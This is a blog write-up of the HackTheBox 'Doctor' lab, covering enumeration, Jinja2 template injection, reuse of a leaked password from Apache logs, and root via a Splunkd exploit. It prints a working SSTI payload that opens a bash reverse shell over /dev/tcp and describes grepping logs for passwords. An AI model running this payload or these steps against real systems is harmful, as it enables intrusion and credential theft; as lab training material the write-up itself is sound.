HackTheBox Writeup — Doctor

Jack Roberts
5 min readFeb 7, 2021


This is my write-up for the HackTheBox machine ‘Doctor’, which runs a Linux OS and is one of the ‘easy’ machines.

1. Doctor Information Card.


Finding a virtual host name reveals another web application that allows us to perform Server-Side Template Injection and get a reverse shell as a low privilege user on the box. Running LinPeas reveals the apache2 logs has logged a password-reset request, in clear-text, which we then use to escalate to the user ‘Shaun’. From here, we exploit an authenticated remote privilege escalation vulnerability in Splunkd to launch another reverse shell, and since the splunkd process is running as root we get root access in our reverse shell.

1. Enumeration and Initial Foothold

As always we start with a nmap to find open ports and services.

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Inspecting the initial web application doesn’t reveal much. However info@doctors.htb is interesting, and could be a potential virtual hostname.

2. Web Application and Potential VHost.

Editing /etc/hosts file to map the box’s IP ( to doctors.htb reveals a new section web application, called ‘Doctor Secure Messaging’.

3. Secure Messaging Web Application at doctors.htb

Again, not too much to play with considering we have no credentials. Let’s register a user and see what functionality we have.

4. Registering a user

Cool, we can post a message. This ‘new message’ functionality has two input fields, so let’s try some injection attacks. Honestly, i’m not too sure what the logical steps were to find Server-Side Template Injection (SSTI) in the first place — If you know please let me know — I found it through many injection attempts until something hit and online resources such as PayloadAllTheThings.

First things to consider:

  • How do we know our attacks are working?
  • Which field is SSTI present?

Well there’s an archive page which is uncommented in the html source code, as it is still in ‘beta-testing’. Although visiting this page reveals nothing, looking at the pages source code reveals the result from our SSTI present in the ‘new message — title’ field.

5. Confirming SSTI Execution

The question is, which type of SSTI is it? To check this I read an article by hacktrickz to narrow down the possibilities, and then this article and performed the following test {{ 7 * ‘7’}}, to see whether it was jinja2 (returns 7777777) or twig (returns 49)

6. Confirming Jinja2

As we can see it’s jinja2, so we can use this to import the ‘os’ python module and open a process to run a bash reverse shell. To activate this code once injected, you simply need to access/refresh the archive web page.

{{request.application.__globals__.__builtins__.__import__('os').popen("bash -c 'bash -i >& /dev/tcp/ 0>&1'").read() }}
7. Foothold via SSTI

2. User Shell — Shaun

Downloading and running Linpeas — a fantastic linux OS enumeration script — identifies a potential password within an apache2 backup log.

8. Linpeas Finding a Reset Password Request in Plaintext

To get this value again without scrolling through we can do:

cat /var/log/apache2/backup | grep -i 'password'
9. Manual Confirmation

Easiest thing to try is logging in as `shaun` with the password `Guitar123` and this works! We can now grab user.txt and move onto root.

3. Root

We noticed initially that Splunkd was running on port 8089, so I thought this might be the avenue for escalation given that it hasn’t been used yet. Let’s have a look at it — RPC and Static don’t seem to lead anywhere, but ‘services’ and ‘servicesNS’ require authentication. I wonder if shaun’s credentials will work?

12. Basic Authentication Required for — Services and ServicesNS.
13. Extra Services once Authenticated

Logging in using shaun’s credentials ~ shaun:Guitar123 ~ provides us with much more information and services, which turns out to be Splunks REST API. But before trying to enumerate and maybe exploit one of these, we can see we have the version number, lets see if there is any known privilege escalation exploits.

From some further research I found SplunkWhisperer2, a Python script that enables both local and remote code execution by exploiting misconfigurations in Splunk’s Universal Forwarder (SUF). It requires credentials to provided to be successful and we have those… sounds promising! However, this will only be useful if splunkd is running at root… lets check that.

14. Splunkd Running as Root

Looks good! lets give the script a go. We need to two local terminals open, one to open a netcat listener and one to run the script. The arguments to the script are fairly self-explanatory .

15. Root Shell

And we are root!


Thanks for reading and keep an eye out for future writeups! Feedback is always welcome through, and my HackTheBox profile is linked below :)



Jack Roberts

MSc Cyber Security Student at Lancaster University. Mostly posting CTF writeups from HackTheBox, TryHackMe and VulnHub.